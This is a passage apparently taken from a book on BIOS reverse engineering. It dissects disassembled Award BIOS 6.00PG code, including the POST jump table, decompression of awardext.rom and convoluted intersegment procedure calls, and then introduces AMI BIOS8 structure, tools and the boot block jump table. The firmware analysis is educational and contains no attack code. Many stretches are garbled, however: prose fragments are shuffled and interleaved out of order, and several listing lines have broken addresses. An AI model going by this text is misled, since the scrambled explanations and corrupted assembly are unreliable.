F000:EE14   mov   sp, 0F00h 
F000:EE17   call  setup_stack 
F000:EE1A   call  Eseg_Read_Write_Enable 
F000:EE1D   mov   si, 5000h 
F000:EE20   mov   di, 0E000h 
F000:EE23   mov   cx, 8000h 
F000:EE26   call  _copy_seg 
F000:EE29   call  Eseg_Read_Enable 
F000:EE2C   mov   byte ptr [bp+228h], 0 
F000:EE31   mov   si, 73E0h 
F000:EE34   call  Read_CMOS?? 
F000:EE37   push  0E000h 
F000:EE3A   push  si 
F000:EE3B   retf                 ; E000:73E0h - execute POST 
......... 
E000:73E0   mov   cx, 1 
E000:73E3   mov   di, 740Bh 
E000:73E6   call  exec_POST_jump_table 
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E000:73E9   jmp   halt_machine 
E000:73EC 
E000:73EC exec_POST_jump_table proc near ; ... 
E000:73EC   mov   al, cl 
E000:73EE   out   80h, al        ; Manufacturer's diagnostic checkpoint 
E000:73F0   push  0F000h 
E000:73F3   pop   fs 
E000:73F5   assume fs:F000 
E000:73F5   mov   ax, cs:[di] 
E000:73F8   inc   di 
E000:73F9   inc   di 
E000:73FA   or    ax, ax 
E000:73FC   jz    short exit 
E000:73FE   push  di 
E000:73FF   push  cx 
E000:7400   call  Additional_POST 
E000:7403   call  ax 
E000:7405   pop   cx 
E000:7406   pop   di 
E000:7407   inc   cx 
E000:7408   jmp   short exec_POST_jump_table 
E000:740A 
E000:740A exit:                  ; ... 
E000:740A   retn 
E000:740A exec_POST_jump_table endp 
E000:740A ; ------------------------------------------------------------- 
E000:740B Begin POST Jump Table 
E000:740B   dw 2277h             ; Decompress awardext.rom 
E000:740D   dw 228Ah             ; _ITEM.BIN and _EN_CODE.BIN 
E000:740D                        ; decompression (with relocation) 
E000:740F   dw 22D3h 
E000:7411   dw 22D8h             ; Dummy procedure 
E000:7413   dw 22D9h 
......... 
E000:7529   dw 6C34h             ; Dummy procedure 
E000:752B   dw 6C36h             ; Dummy procedure 
E000:752D   dw 6C38h             ; Dummy procedure 
E000:752F   dw 6C3Ah 
E000:7531   dw 6D44h 
E000:7533   dw 6DEBh 
E000:7535   dw 6EC1h 
E000:7535 End POST Jump Table 
......... 
E000:79B0 Additional_POST proc near ; ... 
E000:79B0   pushad 
E000:79B2   mov   si, 79E0h 
E000:79B5 
E000:79B5 next_POST:             ; ... 
E000:79B5   cmp   byte ptr cs:[si], 0FFh 
E000:79B9   jz    short exit 
E000:79BB   cmp   cs:[si], cl 
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E000:79BE   jnz   short next_POST_idx 
E000:79C0   mov   di, cs:[si+1] 
E000:79C4   call  di 
E000:79C6 
E000:79C6 next_POST_idx:         ; ... 
E000:79C6   add   si, 3 
E000:79C9   jmp   short next_POST 
E000:79CB 
E000:79CB exit:                  ; ... 
E000:79CB   popad 
E000:79CD   retn 
E000:79CD Additional_POST endp 
......... 
E000:79E0 Begin_Additional_POST 
E000:79E0   db 0Ah               ; 'Normal' POST index 
E000:79E1   dw 7A40h             ; Additional POST routine 
E000:79E3   db 23h               ; 'Normal' POST index 
E000:79E4   dw 7A91h             ; Additional POST routine 
E000:79E6   db 26h               ; 'Normal' POST index 
E000:79E7   dw 7ADEh             ; Additional POST routine 
E000:79E9   db 70h               ; 'Normal' POST index 
E000:79EA   dw 79F0h             ; Additional POST routine 
E000:79EC   db 85h               ; 'Normal' POST index 
E000:79ED   dw 7AEAh             ; Additional POST routine 
E000:79ED End_Additional_POST 
 
 
5.1.3.3. Decompression Block Relocation and awardext.rom 
Decompression 

 

Listing 5.17 Decompression Block Relocation and awardext.rom Decompression 

E000:2277 
E000:2277 ; POST_1_S 
E000:2277 
E000:2277 POST_1S proc near 
E000:2277   call  Reloc_Dcomprssion_Block   ; Relocate decompression 
E000:2277                                   ; block to seg 400h 
E000:227A   mov   di, 8200h                 ; Awardext.rom index (ANDed 
E000:227A                                   ; with 0x3FFF). The 8 in the 
E000:227A                                   ; MSB denotes that the target 
E000:227A                                   ; segment must be patched, 
E000:227A                                   ; i.e., not using the default 
E000:227A                                   ; segment 4000h 
E000:227D   mov   si, 1000h                 ; Target segment 
E000:2280   call  near ptr Decompress_Component 
E000:2283   jb    short exit 
E000:2285   call  init_boot_flag 
E000:2288 
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E000:2288 exit:                             ; ... 
E000:2288   clc 
E000:2289   retn 
E000:2289 POST_1S endp ; sp =  2 
......... 
E000:2232 Reloc_Dcomprssion_Block proc near ; ... 
E000:2232   mov   bx, 1000h 
E000:2235   mov   es, bx 
E000:2237   assume es:seg_01 
E000:2237   push  cs 
E000:2238   pop   ds 
E000:2239   assume ds:nothing 
E000:2239   xor   di, di 
E000:223B   cld 
E000:223C 
E000:223C next_lower_16_bytes:              ; ... 
E000:223C   lea   si, _AwardDecompressionBios ; "= Award Decompression 
E000:223C                                     ; Bios =" 
E000:2240   push  di 
E000:2241   mov   cx, 1Ch 
E000:2244   repe cmpsb 
E000:2246   pop   di 
E000:2247   jz    short dcomprssion_ngine_found 
E000:2249   add   di, 10h 
E000:224C   jmp   short next_lower_16_bytes 
E000:224E ; ------------------------------------------------------------- 
E000:224E 
E000:224E dcomprssion_ngine_found: ; ... 
E000:224E   mov   [bp+2F3h], di 
E000:2252   push  es 
E000:2253   pop   ds 
E000:2254   assume ds:seg_01 
E000:2254   push  di 
E000:2255   pop   si 
E000:2256   push  0 
E000:2258   pop   es 
E000:2259   assume es:nothing 
E 59   sub   es:6000h, di     ; Update decompression engine 000:22
E000:2259                          ; offset to 0x734 (0xB0F4 - 0xA9C0) 
E000:2259                          ; now decompression engine 
E000:2259                          ; at 400:734h 
E000:225E   mov   bx, 400h 
E000:2261   mov   es, bx 
E 63   assume es:seg000 000:22
E000:2263   xor   di, di 
E000:2265   mov   cx, 800h 
E000:2268   cld 
E000:2269   rep movsw 
E000:226B   mov   bx, 400h 
E000:226E   mov   es, bx 
E000:2270   mov   byte ptr es:unk_400_FFF, 0CBh ; '-' 
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E000:2276   retn 
E000:2276 Reloc_Dcomprssion_Block endp 
 
 In the code in listing 5.17, the decompression block is found by searching for the = 
Award Decomp tring. The code then reression Bios = s locates the decompression block 

 segment 400h. This code is the part of the first POST routine. As you can see from the 
this routine 

 that the starting physical address of 
e com

to
previous section, there is no "additional" POST routine carried out before to 

 table for POST number 1. because there is no "index" in the additional POST jump
Recall from boot block section that you know 

th pressed BIOS components in the image of the BIOS binary at 30_0000h–37_FFFFh 
has been saved to RAM at 6000h–6400h during the execution of the decompression engine. 
In addition, this starting address is stored in that area by following this formula: 
 
address_in_6xxxh = 6000h+4*(lo_byte(destination_segment_address)+1) 

Note that destination_segment_address is starting at offset 11h from the 
you can find out which 

rticular case, the 
ecompression routine is called with 8200h as the index parameter. This breaks down to 

the following: 

 
 
beginning of every compressed component.13 By using this formula, 
component is decompressed on a certain occasion. In this pa
d

 
lo_byte(destination_segment_address) = ((8200h & 0x3FFF)/4) - 1 
lo_byte(destination_segment_address) = 0x7F 

 compressed awardext.rom because it's the value in 
n segment" is 407Fh. Note that 

mpression routine for extension 
pression routines will be clear later when I explain the 
cution during POST. 

nents Decompression 

 
 value (7Fh) corresponds to This

the awardext.rom header, i.e., awardext.rom's "destinatio
 operation mimics the decopreceding the binary AND

components. The decom
decompression routine exe
 
 

ion Compo5.1.3.4. Extens

 

Listing 5.18 Extension Components Decompression 

E000:72CF 
E000:72CF ; in: di = component index 
E000:72CF ; si = target segment 
E000:72CF 
E000:72CF Decompress_Component proc far ; ... 
E000:72CF   push  ds 
E000:72D0   push  es 

                                                 
 
13 The offset is calculated by including the preheader. 
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E000:72D1   push  bp 
E000:72D2   push  di 
E000:72D3   push  si 
E000:72D4   and   di, 3FFFh 
E000:72D8   cli 
E000:72D9   mov   al, 0FFh           ; Enable cache 
E000:72DB   call  F0_mod_cache_stat 
E000:72DE   call  es_ds_enter_voodoo 
E000:72E1   pop   dx                 ; dx = si - target segment 
E000:72E2   pop   ax                 ; ax = di - component index 
E000:72E3   mov   ebx, es:[di+6000h] ; ebx = src_phy_addr 
E000:72E9   or    ebx, ebx 
E000:72EC   jz    exit_err 
E000:72F0   cmp   ebx, 0FFFFh 
E000:72F7   jz    exit_err 
E000:72FB   test  ah, 40h 
E000:72FE   jz    short extension_component 
E000:7300   clc 
E000:7301   jmp   exit 
E000:7304 ; ------------------------------------------------------------- 
E000:7304 extension_component:       ; ... 
E000:7304   mov   di, es:6000h       ; di = decompression engine offset 
E000:7304                            ; (734h) 
E000:7309   mov   cx, es:[ebx+0Fh]   ; Save decompression target 
E000:7309                            ; offset to stack 
E000:730E   push  cx 
E000:730F   mov   cx, es:[ebx+11h]   ; Save decompression target 
E000:730F                            ; segment to stack 
E000:7314   push  cx 
E000:7315   push  word ptr es:[ebx]  ; Save header sum and 
E000:7315                            ; header length 
E000:7319   test  ah, 80h            ; Must the target segment be 
E000:7319                            ; patched? 
E000:731C   jz    short call_decomp_ngine ; If no (target segment 
E000:731C                            ; need not be patched), jump 
E000:731E   push  ax 
E000:731F   mov   al, dh 
E000:7321   and   al, 0F0h 
E000:7323   cmp   al, 0F0h ; '=' 
E000:7325   pop   ax 
E000:7326   jnz   short patch_trgt_seg 
E000:7328   mov   cx, es:[ebx+0Fh] 
E000:732D   mov   es:[ebx+0Fh], dx 
E000:7332   jmp   short patch_hdr_sum 
E000:7332 ; ------------------------------------------------------------- 
E000:7334   db  90h ; É 
E000:7335 ; ------------------------------------------------------------- 
E000:7335 patch_trgt_seg:            ; ... 
E000:7335   mov   es:[ebx+11h], dx   ; Patch target segment in LZH hdr 
E000:733A 
E000:733A patch_hdr_sum:             ; ... 
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E000:733A   add   cl, ch 
E000:733C   add   dl, dh 
E000:733E   sub   cl, dl 
E000:7340   sub   es:[ebx+1], cl 
E000:7345 
E000:7345 call_decomp_ngine:         ; ... 
E000:7345   ror   ebx, 10h 
E000:7349   mov   es, bx             ; es = src_phy_addr_hi_word 
E000:734B   ror   ebx, 10h 
E000:734F   push  cs 
E000:7350   push  offset decomp_ngine_retn 
E000:7353   mov   dx, 3000h 
E000:7356   push  400h 
E000:7359   push  di 
E000:735A   retf                     ; Jump to 400:734h 
E000:735A                            ; (relocated decompression block) 
E000:735B ; ------------------------------------------------------------- 
E000:735B decomp_ngine_retn:         ; ... 
E000:735B   call  es_ds_enter_voodoo 
E000:735E   pop   word ptr es:[ebx] 
E000:7362   pop   word ptr es:[ebx+11h] 
E000:7367   pop   word ptr es:[ebx+0Fh] 
E000:736C   mov   ebx, es:[ebx+0Bh] 
E000:7372   push  cs 
E000:7373   push  offset exit_ok 
E000:7376   push  0EC31h 
E000:7379   push  0F09Ch             ; Calling F000 seg procedure at 
E000:7379                            ; F000:F09C - reinit gate_A20 
E000:737C   jmp   far ptr locret_F000_EC30 
E000:7381 ; ------------------------------------------------------------- 
E000:7381 exit_ok:                   ; ... 
E000:7381   clc 
E0 82   jmp   short exit 00:73
E000:7384 ; ------------------------------------------------------------- 
E000:7384 exit_err:                  ; ... 
E000:7384   stc 
E00 30:7 85 
E00 30:7 85 exit:                      ; ... 
E000:7385   pushf 
E000:7386   mov   al, 0 
E000:7388   call  F0_mod_cache_stat 
E000:738B   popf 
E00 30:7 8C   pop   bp 
E00 30:7 8D   pop   es 
E000:738E   pop   ds 
E000:738F   retn 
E000:73 ponent endp 
 
 
similar t
there are so

8F Decompress_Com

It's clear in the call to the decompression block in listing 5.18 that everything is 
o the decompression during the execution of the boot block in RAM. However, 

me things to note: 
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• Consider the amount of component handled. The preceding 

Decompress_Component routine only decompress one component during its 
execution, whereas the  routine in the boot block 

ormation pertaining to the 
compressed extension component to RAM. 

• 

decompression is not the default target segment for the extension components, i.e., 
not segment 4000h. 

• If the input parameter for  in the  register has its MSB 
pression is 

ponents, i.e., not offset 0000h. 
 the same decompression engine 

n to the system BIOS. Delve into them one by 

Decompress_System_BIOS
decompress the system BIOS and saves the inf

If the input parameter for Decompress_Component in the di register has its MSB 
set and the value in di is not equal to F0h, the target segment for the 

 Decompress_Component di
set and the value in di is equal to F0h, the target offset for the decom
not the default target offset for the extension com

e decompression process is usesApart from these things, th
as the one used during boot block execution. 
 
 

 Call 5.1.3.5. Exotic Intersegment Procedure
 

dure call in Award BIOS version  There are some variations of intersegment proce
6.00PG system BIOS, along with the extensio
one. 
 

Listing 5.19 The First Variant of E000h Segment to F000h Segment Procedure Call 

E000:70BE F0_mod_cache_stat proc near   ; ... 
E000:70BE   push  cs 
E000:70BF   push  offset exit 
E000:70C2   push  offset locret_F000_EC31 
E000:70C5   push  offset mod_cache_stat ; Calling F000 seg procedure 
E000:70C5                               ; at F000:E55E 
E000:70C8   jmp   far ptr locret_F000_EC30 
E000:70CD ; ------------------------------------------------------------- 
E000:70CD exit:                         ; ... 
E000:70CD   retn 
E000:70CD F0_mod_cache_stat endp 
......... 
F000:EC30 locret_F000_EC30:             ; ... 
F000:EC30   retn 
F000:EC31 ; ------------------------------------------------------------- 
F000:EC31 
F000:EC31 locret_F000_EC31:             ; ... 
F000:EC31   retf 
......... 
F000:E55E mod_cache_stat proc near      ; ... 
F0 5E   mov   ah, al 00:E5
F000:E560   or    ah, ah 
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F000:E562   jnz   short enable_cache 
F000:E564   jmp   short exit 
F000:E566 ; ------------------------------------------------------------- 
F000:E566 enable_cache:                 ; ... 
F000:E566   mov   eax, cr0 
F000:E569   and   eax, 9FFFFFFFh 
F000:E56F   mov   cr0, eax 
F000:E572   wbinvd 
F000:E574 
F000:E574 exit:                         ; ... 
F000:E574   retn 
F
 
000:E574 mod_cache_stat endp 

 As you can see in listing 5.19, the procedure in the F000h segment (F_seg) is 
called by using a weird stack trick. It may not be obvious how the instruction in the 

rocedure in listing 5.19 can suddenly point to the right destination procedure offset. I'm 
present 

stination 

tion 

p
using the IDA Pro SetFixup internal function to accomplish it. As an example, I 
the script to convert the instruction at address E000:70C5h to point to the right de
procedure offset. 
 

Listing 5.20 Using IDA Pro SetFixup Func

 

SetFixup(0xE70C5, FIXUP_OFF16, 0xF000,0,0); 
 
 There is a second form of the E_seg to F_seg intersegment, call as shown in 

 Segment Procedure Call 

listing 5.21. 
 

Listing 5.21 The Second Variant of E000h Segment to F000h

E000:F046 reinit_cache proc near        ; ... 
E000:F046   pushad 
E000:F048   mov   al, 0FFh 
E000:F04A   push  cs 
E000:F04B   push  offset exit 
E000:F04E   push  offset mod_cache_stat ; Calling F000 seg procedure 
E000:F04E                               ; at F000:E55E 
E000:F051   jmp   far ptr loc_E000_6500 
E000:F056 ; ------------------------------------------------------------- 
E000:F056 exit:                         ; ... 
E000:F056   popad 
E000:F058   retn 
E000:F058 reinit_cache endp 
......... 
E000:6500 loc_E000_6500:                ; ... 
E000:6500   push  0EC31h 
E000:6503   push  ax 
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E000:6504   pushf 
E 05   cli 000:65
E000:6506   xchg  bp, sp 
E000:6508   mov   ax, [bp+4] 
E000:650B   xchg  ax, [bp+6] 
E000:650E   mov   [bp+4], ax 
E000:6511   xchg  bp, sp 
E000:6513   popf 
E000:6514   pop   ax 
E000:6515   jmp   far ptr locret_F000_EC30 
......... 
F000:EC30 locret_F000_EC30:             ; ... 
F000:EC30   retn 
F000:EC31 ; ------------------------------------------------------------- 
F000:EC31 locret_F000_EC31:             ; ... 
F000:EC31   retf 
 

n se The decompressed system BIOS extension i
dure call to execute the "services" 

gment 1000h also has some form 
of the system BIOS. An example is 

ROUP Segment) to E000h Segment Procedure Call 

of intersegment proce
show in listing 5.22. 
 

Listing 5.22 1000h Segment (XG

1000:AF76 Decompress_ITEM_BIN proc far  ; ... 
1000:AF76   mov   di, 82D8h 
1000:AF79   mov   si, 2000h 
1000:AF7C   push  cs 
1000:AF7D   push  offset exit 
1000:AF80   push  offset Decompress_Component 
1000:AF83   jmp   far ptr loc_F000_1C12 
1000:AF88 ; ------------------------------------------------------------- 
1000:AF88 exit:                         ; ... 
1000:AF88   mov   word ptr ss:0F04h, 2000h 
1000:AF8F   retf 
1000:AF8F Decompress_ITEM_BIN endp 
......... 
F000:1C12 loc_F000_1C12:                ; ... 
F000:1C12   push  6901h 
F000:1C15   push  ax 
F 16   pushf 000:1C
F000:1C17   cli 
F000:1C18   xchg  bp, sp 
F000:1C1A   mov   ax, [bp+4] 
F000:1C1D   xchg  ax, [bp+6] 
F000:1C20   mov   [bp+4], ax 
F000:1C23   xchg  bp, sp 
F000:1C25   popf 
F000:1C26   pop   ax 
F000:1C27   jmp   far ptr locret_E000_6900 
......... 
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E000:6900 locret_E000_6900:             ; ... 
E000:6900   retn 
E000:6901 ; ------------------------------------------------------------- 
E000:6901   retf 
 
 The system BIOS at segment E000h also calls "services" provided by the system 

h Segment to XGROUP Segment Procedure Call 

BIOS extension. 
 

Listing 5.23 The First Variant of E000

E000:56FF sub_E000_56FF proc near       ; ... 
E000:56FF 
E000:56FF ; FUNCTION CHUNK AT 1000:0009 SIZE 00000003 BYTES 
E000:56FF 
E000:56FF   push  cs 
E000:5700   push  offset continue 
E000:5703   push  offset sub_1000_4DD6  ; Calling XGROUP seg procedure 
E000:5703                               ; at 1000:4DD6 
E000:5706   jmp   far ptr loc_1000_9 
E000:570B ; ------------------------------------------------------------- 
E000:570B 
E000:570B continue:                     ; ... 
E000:570B   call  sub_E000_D048 
E000:570E   call  sub_E000_D050 
E000:5711   retn 
E000:5711 sub_E000_56FF endp 
......... 
1000:0009 loc_1000_9:                   ; ... 
1000:0009   push  8 
1000:000C   push  ax 
1000:000D   pushf 
1000:000E   cli 
1000:000F   xchg  bp, sp 
1000:0011   mov   ax, [bp+4] 
1000:0014   xchg  ax, [bp+6] 
1000:0017   mov   [bp+4], ax 
1000:001A   xchg  bp, sp 
1000:001C   popf 
1000:001D   pop   ax 
1000:001E   jmp   short locret_1000_7 
......... 
1000:0007 locret_1000_7:                ; ... 
1 07   retn 000:00
1000:0008 ; ------------------------------------------------------------- 
1000:0008   retf 
......... 
1000:4DD6 sub_1000_4DD6 proc near       ; ... 
1000:4DD6   call  sub_1000_4E2D 
1000:4DD9   mov   cl, 0Ah 
1000:4DDB   call  sub_1000_4E05 
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1000:4DDE   mov   cl, 0E0h ; 'a' 
1000:4DE0   call  sub_1000_4E11 
1000:4DE3   and   al, 0FBh 
1000:4DE5   call  sub_1000_4E1E 
1000:4DE8   call  sub_1000_4E35 
1000:4DEB   retn 
1000:4DEB sub_1000_4DD6 endp 
 
 Now, proceed to the convoluted procedure call from E_seg to F_seg, courtesy of 

 they do this. Just see how it works. I present 
e the stack handling to see how it works. Call this method 

000h Segment Procedure Call 

the Award BIOS engineers. I 
alyz

don't know why
one example and then an
call_Fseg_1. 
 

Listing 5.24 The Third Variant of E000h Segment to F

E000:E8B0 word_E000_E8B0 dw 0F000h ; ... 
......... 
E000:98C8   push  1B42h 
E000:98CB   call  near ptr call_Fseg_1 
E000:98CE   mov   cx, 100h 
......... 
E000:E8B9 call_Fseg_1 proc far     ; ... 
E000:E8B9   push  cs 
E000:E8BA   push  offset locret_E000_E913 
E000:E8BD   push  cs:word_E000_E8B0 
E000:E8C2   push  8017h 
E000:E8C5   push  ax 
E000:E8C6   jmp   short loc_E000_E8D2 
E000:E8C6 call_Fseg_1 endp 
......... 
E000:E8D2 loc_E000_E8D2:           ; ... 
E000:E8D2   push  cs:word_E000_E8B0 
E000:E8D7   push  8016h 
E000:E8DA   jmp   short inter_seg_call 
......... 
E000:E8FD inter_seg_call:          ; ... 
E000:E8FD   push  ax 
E000:E8FE   pushf 
E000:E8FF   cli 
E000:E900   xchg  bp, sp 
E000:E902   mov   ax, [bp+20] 
E000:E905   mov   [bp+8], ax 
E000:E908   mov   ax, [bp+18] 
E 0B   mov   [bp+20], ax 000:E9
E000:E90E   xchg  bp, sp 
E000:E910   popf 
E000:E911   pop   ax 
E000:E912   retf 
E000:E913 ; ------------------------------------------------------------- 
E000:E913 locret_E000_E913:        ; ... 

 
 

53 



E000:E913   retn  2 
......... 
F000:1B42   retf 
......... 
F000:8016   retn 
F000:8017 ; ------------------------------------------------------------- 
F000:8017   retf 
F000:8018 ; ------------------------------------------------------------- 
F000:8018   retf  2 
 
 If you don't pay attention carefully, the code in listing 5.24 will seem convoluted. 
However, if you construct the stack values by following the code execution starting at 
E000:98C8, you'll be able to grasp it quite easily. Note that the index added to the value of 
bp register in the disassembled code in listing 5.24 and in figure 5.3 is in decimal, not in 
hexadecimal. The stack values are shown in figure 5.3. 
 

 
Figure 5.3 Stack of the Third Variant of E000h Segment to F000h Segment Procedure Call 
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 Figure 5.3 clearly shows that the value of the ax register is not used. The ax 
In listing 5.24, it's also clear that the called 

shing anything. 
tension in RAM the XGROUP segment. 

from the E_seg to the XGROUP segment. 
all_XGROUP_seg

0h Segment to XGROUP Segment Procedure Call 

register value merely serves as a placeholder. 
procedure is returning immediately without accompli

 this point on, call the system BIOS ex From
The convoluted procedure call is also found on call 

. Name this procedure call c
 

Listing 5.25 The Second Variant of E00

E000:98EB   push  offset sub_1000_7C20 
E000:98EE   call  near ptr call_XGROUP_seg 
......... 
E000:E8EB call_XGROUP_seg proc far ; ... 
E000:E8EB   push  1 
E000:E8ED   push  cs 
E000:E8EE   push  offset locret_E000_E913 
E000:E8F1   push  offset locret_1000_C506 
E000:E8F4   push  ax 
E000:E8F5   push  cs:word_E000_E8B2 
E000:E8FA   push  offset locret_1000_C504 
E000:E8FD 
E000:E8FD inter_seg_call:          ; ... 
E000:E8FD   push  ax 
E000:E8FE   pushf 
E000:E8FF   cli 
E000:E900   xchg  bp, sp 
E 02   mov   ax, [bp+20] 000:E9
E000:E905   mov   [bp+8], ax 
E000:E908   mov   ax, [bp+18] 
E000:E90B   mov   [bp+20], ax 
E000:E90E   xchg  bp, sp 
E000:E910   popf 
E000:E911   pop   ax 
E000:E912   retf 
E000:E912 call_XGROUP_seg endp 
. .. ......
1000:7C20 sub_1000_7C20 proc near  ; ... 
1000:7C20   mov   si, 7B8Ah 
1 23   mov   di, 7B7Ah 000:7C
1000:7C26   mov   cx, 4 
......... 
1000:7C53   retn 
1000:7C53 sub_1000_7C20 endp 
 
 Listing 5.25 shows a convoluted procedure call. As before, dissect this procedure 
call using a stack manipulation figure. Note that the index added to the value of the bp 

l, not in 
lation story. 

register in the disassembled code in listing 5.25 and in figure 5.4 is in decima
hexadecimal. Figure 5.4 shows the stack manipu
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Figure 5.4 Stack of the Second Variant of E000h Segment to XGROUP Segment Procedure Call 

alue 1 that's pushed to stack is not used 
resides in the XGROUP segment, 

1000h. 
 intersegment procedure call in the call 
lain it in depth. However, I will present 

 figure out, because you've seen two kinds of variations 
 too hard to comprehend, draw the stack usage, like in 

F000h Segment Procedure Call 

 
 Figure 5.4 clearly shows that the constant v
and merely serves as a placeholder. The target procedure 
i.e., segment 
 There's also a variation of this convoluted

 F_seg procedure. I won't expfrom the E_seg to the
an example code. I think it's easy to

dure before. If it's stillof this proce
figure 5.3 and 5.4. 
 

Listing 5.26 The Fourth Variant of E000h Segment to 

E000:98FA   push  offset sub_F000_B1C 
E000:98FD   call  near ptr Call_Fseg_2 
......... 
E000:E8C8 Call_Fseg_2 proc far     ; ... 
E000:E8C8   push  1 
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E CA   push  cs 000:E8
E000:E8CB   push  offset locret_E000_E913 
E000:E8CE   push  offset locret_F000_8018 
E000:E8D1   push  ax 
E000:E8D2 
E000:E8D2 loc_E000_E8D2:           ; ... 
E000:E8D2   push  cs:word_E000_E8B0 
E000:E8D7   push  offset locret_F000_8016 
E000:E8DA   jmp   short inter_seg_call 
E000:E8DA Call_Fseg_2 endp 
......... 
E0 FD inter_seg_call:          ; ... 00:E8
E000:E8FD   push  ax 
E000:E8FE   pushf 
E000:E8FF   cli 
E000:E900   xchg  bp, sp 
E000:E902   mov   ax, [bp+20] 
E0 05   mov   [bp+8], ax 00:E9
E000:E908   mov   ax, [bp+18] 
E000:E90B   mov   [bp+20], ax 
E000:E90E   xchg  bp, sp 
E000:E910   popf 
E000:E911   pop   ax 
E000:E912   retf 
E000:E913 ; ------------------------------------------------------------- 
E000:E913 locret_E000_E913:        ; ... 
E000:E913   retn  2 
. .. ......
E000:E8B0 word_E000_E8B0 dw 0F000h ; ... 
......... 
F000:0B1C sub_F000_B1C proc near   ; ... 
F000:0B1C   cmp   byte ptr [bp+19h], 2Fh ; '/' 
......... 
F000:0B58 
F000:0B58 locret_F000_B58:         ; ... 
F000:0B58   retn 
F000:0B58 sub_F000_B1C endp 
......... 
F000:8016 locret_F000_8016:        ; ... 
F000:8016   retn 
F000:8017 ; ------------------------------------------------------------- 
F000:8017 locret_F000_8017:        ; ... 
F000:8017   retf 
F000:8018 ; ------------------------------------------------------------- 
F000:8018 locret_F000_8018:        ; ... 
F000:8018   retf  2 
 
 This section explains the execution of the core BIOS binary, i.e., the system BIOS. 
If you wish to find some routine within the system BIOS or wish to know more about the 
overall Award BIOS version 6.00PG code, follow the POST jump table execution to find 
the intended target. It's only necessary if you don't know the "binary signature" of the target 
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routine in advance. If the binary signature14 is known, you can directly scan the target 
binary to find the routine. I delve more into this issue in the BIOS modification chapter. 
 
 
5.2. AMI BIOS 
 
 In this section, I dissect a sample AMI BIOS binary based on AMI BIOS code 
version 8 (AMIBIOS8). AMI BIOS comes in several code bases. However, since 2002 
AMI BIOS uses this version of the code base. The code base version is recognized by 
inspecting the binary. The AMIBIOSC0800 string in the BIOS binary identifies the AMI 
BIOS binary as AMI BIOS code version 8. 
 The BIOS binary that dissected here is the BIOS for a Soltek SL865PE 
motherboard. The BIOS release date is September 14, 2004. This motherboard uses an Intel 
865PE chipset. It only supports a 4-GB memory address space. You may want to download 
the datasheet of this chipset from Intel website to become accustomed to the system-wide 
addressing scheme of this chipset and the role of its PCI configuration register. 
 
 

.2.1. AMI BIOS File Structure 

           

5
 
 The structure of an AMI BIOS binary is similar to that of an Award BIOS binary. 
The boot block is placed in the highest address range within the binary, and the compressed 
components are placed below the boot block. Note that some padding bytes15 exist between 
them. 

                                      
 
14 A 
within an
15 The pa

binary signature is a unique block of bytes that represent unique block of machine instructions 
 executable file. 
dding bytes in this BIOS are bytes with FFh values. 
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Figure 5.5 AMI BIOS binary mapping to system address space 

mponents in the system-wide 
ddress space of the respective motherboard. Note that the chipset dissected here is 
ifferent

. You will be able to infer it 
n your own once you've grasped the concept explained there. 

.2.2. AMI BIOS Tools 

despread and complete as Award BIOS tools. AMI 
IOS tools also can be harder to work with compared to Award BIOS tools. AMI BIOS 

tools found freely in the Web are as follows: 

y American Megatrends, the maker of 
ions. Every version of the tool has its 

 code base that it can work with. If the code base version 
 AMIBCP version, you can't modify the BIOS 

alues of the BIOS setup with it. 
mplicated modification is quite 

ssed modules within the AMI BIOS 
odule within the BIOS binary. To 

 
 Figure 5.5 shows the mapping of the BIOS binary co
a
d  from the one dissected in the Award BIOS section. The current chipset (Intel 
865PE) only supports 4-GB addressing. That's why you don't see any mapping for an 
address range above the 4-GB limit in figure 5.5. I won't explain the mapping of the binary 
in detail because you see it from a hex editor and other binary mapping–related concepts. 
Please refer to section 5.1.1 in the Award BIOS section for that
o
 
 
5
 
 AMI BIOS tools are not as wi
B

 
• Amibcp is a BIOS modification tool made b

I BIOS. This tool comes in several versAM
corresponding AMI BIOS
of the BIOS doesn't match the
binary. AMIBCP allows you to change the v

OS in a more coHowever, altering the system BI
hard even with this tool. 

deco is the AMI BIOS binary decompressor, coded by Russian programmer • Ami
Anton Borisov. This tool can show the compre

ress the compressed mbinary, and it can decomp
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develop a decompressor like this one, you have to analyze the decompression 
d then mimic that functionality in the 

or program you have made. 

e AMI BIOS reverse engineering shown here. 
at can help you in the reverse 

Beep Code List. It is available for 
cial website (http://www.ami.com). This document 
g of the POST code and the related task that's 

OS routine that emits the POST code. POST codes are debugging 
des w

 more complicated compared to Award BIOS boot block. 
dress 0xFFFF_FFF0 

865PE BIOS in that 
n IDA Pro 

p Table 

p to execute a jump table in the beginning of 

block of the respective BIOS an
decompress

 
 I won't use the tool mentioned previously in the reverse engineering in this section. 

ntioned just in case you want to modify AMI BIOS, because you don't even They are me
need it to carry out th
 There is free documentation from AMI th

Check Point and engineering process, i.e., the AMIBIOS8 
download at American Megatrends' offi
contains explanation
arried out by the BI

s about the meanin
c
co ritten to the debugging port (port 80h) during BIOS execution. You can use this 
documentation to comprehend the disassembled source code from the BIOS binary. You 
will encounter such a usage in the next two subsections. To use the document, you just need 
to compare the value written to port 80h in the disassembled BIOS binary and the 
respective explanation in the document. 
 
 
.2.3. AMI Boot Block Reverse Engineering 5

 
 AMI BIOS boot block is
However, as with other x86 BIOSs, this BIOS starts execution at ad

 disassemble the Soltek SL(0xF000:0xFFF0 in real mode). Start to
address. I won't repeat the steps to set up the disassembling environment i

ous sections and chapters. because it was explained in the previ
 
 
5.2.3.1. Boot Block Jum
 
 AMI BIOS boot block contains a jum
its execution, as shown in listing 5.27. 
 

Listing 5.27 AMI BIOS Boot Block Jump Table 

F000:FFF0   jmp   far ptr bootblock_start 
......... 
F000:FFAA bootblock_start: 
F000:FFAA   jmp   exec_jmp_table 
......... 
F000:A040 exec_jmp_table:                 ; 
F000:A040   jmp   _CPU_early_init 
F000:A043 ; ------------------------------------------------------------- 
F000:A043 
F000:A043 _j2:                            ; 
F000:A043   jmp   _goto_j3 
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......... 

......... ; Other jump table entries 

......... 
F000:A08B _j26: 
F000:A08B   jmp   setup_stack 
F000:A08E ; ------------------------------------------------------------- 
F000:A08E 
F000:A08E _j27: 
F000:A08E   call  near ptr copy_decomp_block 
F000:A091   call  sub_F000_A440 
F000:A094   call  sub_F000_A273 
F0 97   call  sub_F000_A2EE 00:A0
F000:A09A   retn 
 
 As shown in listing 5.27, the jump table contains many entries. I won't delve into 

xecution flow of the boot block 
pare the system (CPU, motherboard, 

RAM subsystem and 
 entry of the jump 

 a call to the setup_stack function. This function 

them one by one, so just peek at entries that affect the e
code. The entries in the preceding jump table pre
RAM) to execute the code in RAM. To accomplish that, it tests the 

